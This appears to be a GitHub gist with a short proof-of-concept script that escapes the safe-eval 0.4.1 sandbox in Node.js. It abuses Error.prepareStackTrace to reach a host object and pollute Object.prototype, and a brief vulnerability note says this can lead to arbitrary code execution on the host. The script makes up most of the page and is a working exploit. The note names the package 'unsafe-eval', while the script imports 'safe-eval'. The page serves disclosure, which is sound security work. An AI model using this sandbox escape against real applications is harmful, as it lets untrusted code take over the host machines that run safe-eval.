This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| // node version: 19.8.1 | |
| // safe-eval version: 0.4.1 | |
| var safeEval = require('safe-eval') | |
| let code = ` | |
| (function() { | |
| Error.prepareStackTrace = (_, c) => c[0].getThis(); | |
| ret = (new Error()).stack; | |
| ret.__proto__.polluted = "ret.__proto__.polluted"; | |
| })() | |
| ` | |
| safeEval(code); | |
| const polluted_result = {}["polluted"]; | |
| console.log(polluted_result); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Vulnerability description:
unsafe-evalis a sandbox that can run untrusted code with whitelisted Node's built-in modules. Affected versions of this package are vulnerable to prototype pollution. Especially, the attacker is able to access to host error objects during the generation of a stack trace, which can lead to execution of arbitrary code on the host machine.